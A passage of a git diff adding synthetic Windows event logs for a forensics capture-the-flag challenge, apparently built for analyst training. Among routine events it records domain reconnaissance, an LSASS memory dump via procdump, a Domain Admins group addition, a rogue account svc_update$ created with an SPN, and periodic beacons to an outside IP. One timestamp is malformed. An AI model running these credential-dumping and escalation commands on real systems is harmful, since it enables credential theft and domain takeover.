-{"@timestamp":"2026-03-15T08:50:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T08:52:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":8080,"protocol":"TCP","description":"Monitoring health check","category":"Network"} -{"@timestamp":"2026-03-15T08:54:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"teams.exe","parent_process":"explorer.exe","command_line":"C:\\Users\\a.leclerc\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T08:56:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"52.113.194.132","dst_port":443,"protocol":"TCP","description":"Teams telemetry outbound","category":"Network"} -{"@timestamp":"2026-03-15T09:00:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:02:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:04:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"m.martin","logon_type":2,"source_ip":"192.168.10.45","description":"Interactive logon m.martin","category":"Authentication"} -{"@timestamp":"2026-03-15T09:06:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"outlook.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\OUTLOOK.EXE","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:08:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"40.101.91.160","dst_port":443,"protocol":"TCP","description":"Outlook Exchange Online","category":"Network"} -{"@timestamp":"2026-03-15T09:10:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:12:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"cmd.exe","parent_process":"services.exe","command_line":"cmd.exe /c net localgroup administrators","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:14:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"net.exe","parent_process":"cmd.exe","command_line":"net user /domain","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:16:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"net.exe","parent_process":"cmd.exe","command_line":"net group \"Domain Admins\" /domain","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:18:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:20:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:22:00.000Z","event_id":4624,"host":"DC01","user":"a.admin","logon_type":2,"source_ip":"192.168.10.20","description":"Admin interactive logon DC01","category":"Authentication"} -{"@timestamp":"2026-03-15T09:24:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-ADGroupMember 'Domain Admins'","description":"Legitimate admin AD query","category":"Process"} -{"@timestamp":"2026-03-15T09:26:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.52","dst_port":389,"protocol":"LDAP","description":"LDAP query from APP-SRV01","category":"Network"} -{"@timestamp":"2026-03-15T09:28:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:30:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:32:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"excel.exe","parent_process":"outlook.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE tableau_bord.xlsx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:34:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.45","dst_port":443,"protocol":"TCP","description":"HTTPS inbound from workstation","category":"Network"} -{"@timestamp":"2026-03-15T09:36:00.000Z","event_id":4624,"host":"APP-SRV01","user":"f.petit","logon_type":3,"source_ip":"192.168.10.48","description":"Network logon f.petit","category":"Authentication"} -{"@timestamp":"2026-03-15T09:38:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":53,"protocol":"DNS","description":"DNS query to DC01","category":"Network"} -{"@timestamp":"2026-03-15T09:40:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:42:00.000Z","event_id":4769,"host":"DC01","user":"a.admin","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.20","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:44:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"dcdiag.exe","parent_process":"cmd.exe","command_line":"dcdiag /test:replications","description":"DC diagnostic run by admin","category":"Process"} -{"@timestamp":"2026-03-15T09:46:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":443,"protocol":"TCP","description":"Monitoring HTTPS inbound","category":"Network"} -{"@timestamp":"2026-03-15T09:48:12.000Z","event_id":4624,"host":"APP-SRV01","user":"svc_backup","logon_type":10,"source_ip":"192.168.10.45","description":"An account was successfully logged on","category":"Authentication"} -{"@timestamp":"2026-03-15T09:48:30.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"cmd.exe","parent_process":"rdpclip.exe","command_line":"cmd.exe /c whoami /all","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:49:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:49:01.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"procdump.exe","parent_process":"cmd.exe","command_line":"procdump.exe -accepteula -ma lsass.exe C:\\Windows\\Temp\\mem.dmp","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:49:30.000Z","event_id":10,"host":"APP-SRV01","user":"svc_backup","source_process":"procdump.exe","target_process":"lsass.exe","call_trace":"C:\\Windows\\SYSTEM32\\ntdll.dll+MiniDumpWriteDump","description":"Process accessed","category":"Process"} -{"@timestamp":"2026-03-15T09:50:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:52:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:54:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:55:22.000Z","event_id":4769,"host":"DC01","user":"svc_backup","service_name":"krbtgt","ticket_encryption":"0x12","ticket_options":"0x40810010","client_ip":"192.168.10.52","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:55:23.000Z","event_id":4769,"host":"DC01","user":"svc_backup","service_name":"cifs/DC01","ticket_encryption":"0x12","ticket_options":"0x40800010","client_ip":"192.168.10.52","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:56:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"net.exe","parent_process":"cmd.exe","command_line":"net view /domain:CORP","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:58:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":88,"protocol":"Kerberos","description":"Kerberos request to DC01","category":"Network"} -{"@timestamp":"2026-03-15T10:00:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:02:14.000Z","event_id":4728,"host":"DC01","user":"svc_backup","target_user_sid":"S-1-5-21-1180699209-877415012-3182924384-1107","group_name":"Domain Admins","description":"A member was added to a security-enabled global group","category":"GroupManagement"} -{"@timestamp":"2026-03-15T10:02:15.000Z","event_id":4764,"host":"DC01","user":"svc_backup","group_name":"Domain Admins","description":"A group's type was changed","category":"GroupManagement"} -{"@timestamp":"2026-03-15T10:03:00.000Z","event_id":4769,"host":"DC01","user":"a.admin","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.20","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T10:04:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"a.leclerc","logon_type":2,"source_ip":"192.168.10.45","description":"Interactive logon a.leclerc","category":"Authentication"} -{"@timestamp":"2026-03-15T10:05:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:06:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T10:07:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"net.exe","parent_process":"cmd.exe","command_line":"net group \"Enterprise Admins\" /domain","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T10:08:44.000Z","event_id":4720,"host":"DC01","user":"svc_backup","new_account":"svc_update$","description":"A user account was created","category":"AccountManagement"} -{"@timestamp":"2026-03-15T10:08:46.000Z","event_id":4742,"host":"DC01","user":"svc_backup","target_account":"svc_update$","description":"A computer account was changed","category":"AccountManagement"} -{"@timestamp":"2026-03-15T10:08:48.000Z","event_id":5136,"host":"DC01","user":"svc_backup","object_dn":"CN=svc_update$,CN=Users,DC=CORP,DC=LOCAL","attribute_ldap":"servicePrincipalName","attribute_value":"HOST/svc_update$.corp.local","description":"A directory service object was modified","category":"DirectoryService"} -{"@timestamp":"2026-03-15T10:09:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:10:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T10:12:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-EventLog -LogName Security -Newest 50","description":"Legitimate admin event log check","category":"Process"} -{"@timestamp":"2026-03-15T10:14:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:16:00.000Z","event_id":4624,"host":"APP-SRV01","user":"m.martin","logon_type":3,"source_ip":"192.168.10.45","description":"Network logon m.martin","category":"Authentication"} -{"@timestamp":"2026-03-15T10:18:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.52","dst_port":445,"protocol":"SMB","description":"DC replication to APP-SRV01","category":"Network"} -{"@timestamp":"2026-03-15T10:20:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:22:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T10:24:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"teams.exe","parent_process":"explorer.exe","command_line":"C:\\Users\\p.bernard\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T10:26:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:28:00.000Z","event_id":4624,"host":"DC01","user":"p.bernard","logon_type":3,"source_ip":"192.168.10.47","description":"Network logon p.bernard to DC01","category":"Authentication"} -{"@timestamp":"2026-03-15T10:30:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:32:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"cifs/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T10:34:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":636,"protocol":"LDAPS","description":"Secure LDAP monitoring inbound","category":"Network"} -{"@timestamp":"2026-03-15T10:36:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"f.petit","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T10:38:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.47","dst_port":443,"protocol":"TCP","description":"HTTPS inbound from p.bernard","category":"Network"} -{"@timestamp":"2026-03-15T10:40.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:42:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"eventvwr.msc","parent_process":"mmc.exe","command_line":"eventvwr.msc","description":"Event Viewer opened by admin","category":"Process"} -{"@timestamp":"2026-03-15T10:44:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"http/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T10:46:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"f.petit","logon_type":2,"source_ip":"192.168.10.48","description":"Interactive logon f.petit","category":"Authentication"} -{"@timestamp":"2026-03-15T10:48:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:50:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:52:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"cifs/WIN-ACCT01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T10:54:00.000Z","event_id":4688,"host":"APP-SRV01","user":"a.leclerc","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-Service | Format-Table -AutoSize","description":"Legitimate admin command","category":"Process"} -{"@timestamp":"2026-03-15T10:56:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:58:00.000Z","event_id":4624,"host":"APP-SRV01","user":"a.leclerc","logon_type":3,"source_ip":"192.168.10.45","description":"Network logon a.leclerc","category":"Authentication"} -{"@timestamp":"2026-03-15T11:00:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:02:00.000Z","event_id":4769,"host":"DC01","user":"a.admin","service_name":"cifs/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.20","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T11:04:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":53,"protocol":"DNS","description":"DNS query to DC01","category":"Network"} -{"@timestamp":"2026-03-15T11:06:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"excel.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE suivi_projet.xlsx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T11:08:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:10:00.000Z","event_id":4624,"host":"DC01","user":"a.admin","logon_type":3,"source_ip":"192.168.10.20","description":"Admin network logon to DC01","category":"Authentication"} -{"@timestamp":"2026-03-15T11:12:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T11:14:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.48","dst_port":443,"protocol":"TCP","description":"HTTPS inbound from f.petit workstation","category":"Network"} -{"@timestamp":"2026-03-15T11:16:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:18:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-ADComputer -Filter * | Select-Object Name,OperatingSystem","description":"Legitimate admin AD query","category":"Process"} -{"@timestamp":"2026-03-15T11:20:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T11:22:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:24:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"p.bernard","logon_type":2,"source_ip":"192.168.10.47","description":"Interactive logon p.bernard","category":"Authentication"} -{"@timestamp":"2026-03-15T11:26:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"52.113.194.132","dst_port":443,"protocol":"TCP","description":"Teams telemetry HTTPS","category":"Network"} -{"@timestamp":"2026-03-15T11:28:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:30:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"cifs/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T11:32:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"mstsc.exe","parent_process":"explorer.exe","command_line":"mstsc.exe /v:192.168.10.52 /f","description":"RDP client full screen to APP-SRV01","category":"Process"} -{"@timestamp":"2026-03-15T11:33:00.000Z","event_id":4624,"host":"APP-SRV01","user":"a.leclerc","logon_type":10,"source_ip":"192.168.10.45","description":"Remote interactive (RDP) logon - a.leclerc","category":"Authentication"} -{"@timestamp":"2026-03-15T11:34:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:36:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:38:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"f.petit","process_name":"outlook.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\OUTLOOK.EXE","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T11:40:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"http/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T11:42:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:44:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.45","dst_port":445,"protocol":"SMB","description":"DC to workstation SMB communication","category":"Network"} -{"@timestamp":"2026-03-15T11:46:00.000Z","event_id":4624,"host":"APP-SRV01","user":"p.bernard","logon_type":3,"source_ip":"192.168.10.47","description":"Network logon p.bernard","category":"Authentication"} -{"@timestamp":"2026-03-15T11:48:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:50:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:52:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/WIN-ACCT01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T11:54:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe --profile-directory=Default","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T11:56:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:58:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":389,"protocol":"LDAP","description":"Monitoring LDAP query to DC01","category":"Network"} -{"@timestamp":"2026-03-15T12:00:00.000Z","event_id":4769,"host":"DC01","user":"a.admin","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.20","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T12:02:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T12:04:00.000Z","event_id":4688,"host":"APP-SRV01","user":"a.leclerc","process_name":"notepad.exe","parent_process":"rdpclip.exe","command_line":"notepad.exe C:\\Logs\\app_errors.log","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T12:06:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T12:08:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"a.leclerc","logon_type":2,"source_ip":"192.168.10.45","description":"Interactive logon a.leclerc","category":"Authentication"} -{"@timestamp":"2026-03-15T12:10:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T12:12:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T12:14:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"winword.exe","parent_process":"outlook.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE synthese_incidents.docx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T12:16:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T12:18:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"13.107.42.14","dst_port":443,"protocol":"TCP","description":"Azure AD authentication","category":"Network"} -{"@timestamp":"2026-03-15T12:20:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} From 27f472eafc373d674639dadd0f30bd6f782dd64d Mon Sep 17 00:00:00 2001 From: Sarah Date: Mon, 20 Jul 2026 09:39:41 +0200 Subject: [PATCH 2/2] MAJ branche avec logs + gitignore --- .gitignore | 4 - .../logs/corp_incident.json | 224 ++++++++++++++++++ 2 files changed, 224 insertions(+), 4 deletions(-) create mode 100644 challenges/ctf-forensics-dfir-elk/logs/corp_incident.json diff --git a/.gitignore b/.gitignore index b2afc53..cd4c9b3 100644 --- a/.gitignore +++ b/.gitignore @@ -4,10 +4,6 @@ **/*.env !**/.env.example -# Logs -*.log -logs/ - # Caches / builds courants __pycache__/ *.py[cod] diff --git a/challenges/ctf-forensics-dfir-elk/logs/corp_incident.json b/challenges/ctf-forensics-dfir-elk/logs/corp_incident.json new file mode 100644 index 0000000..d37d068 --- 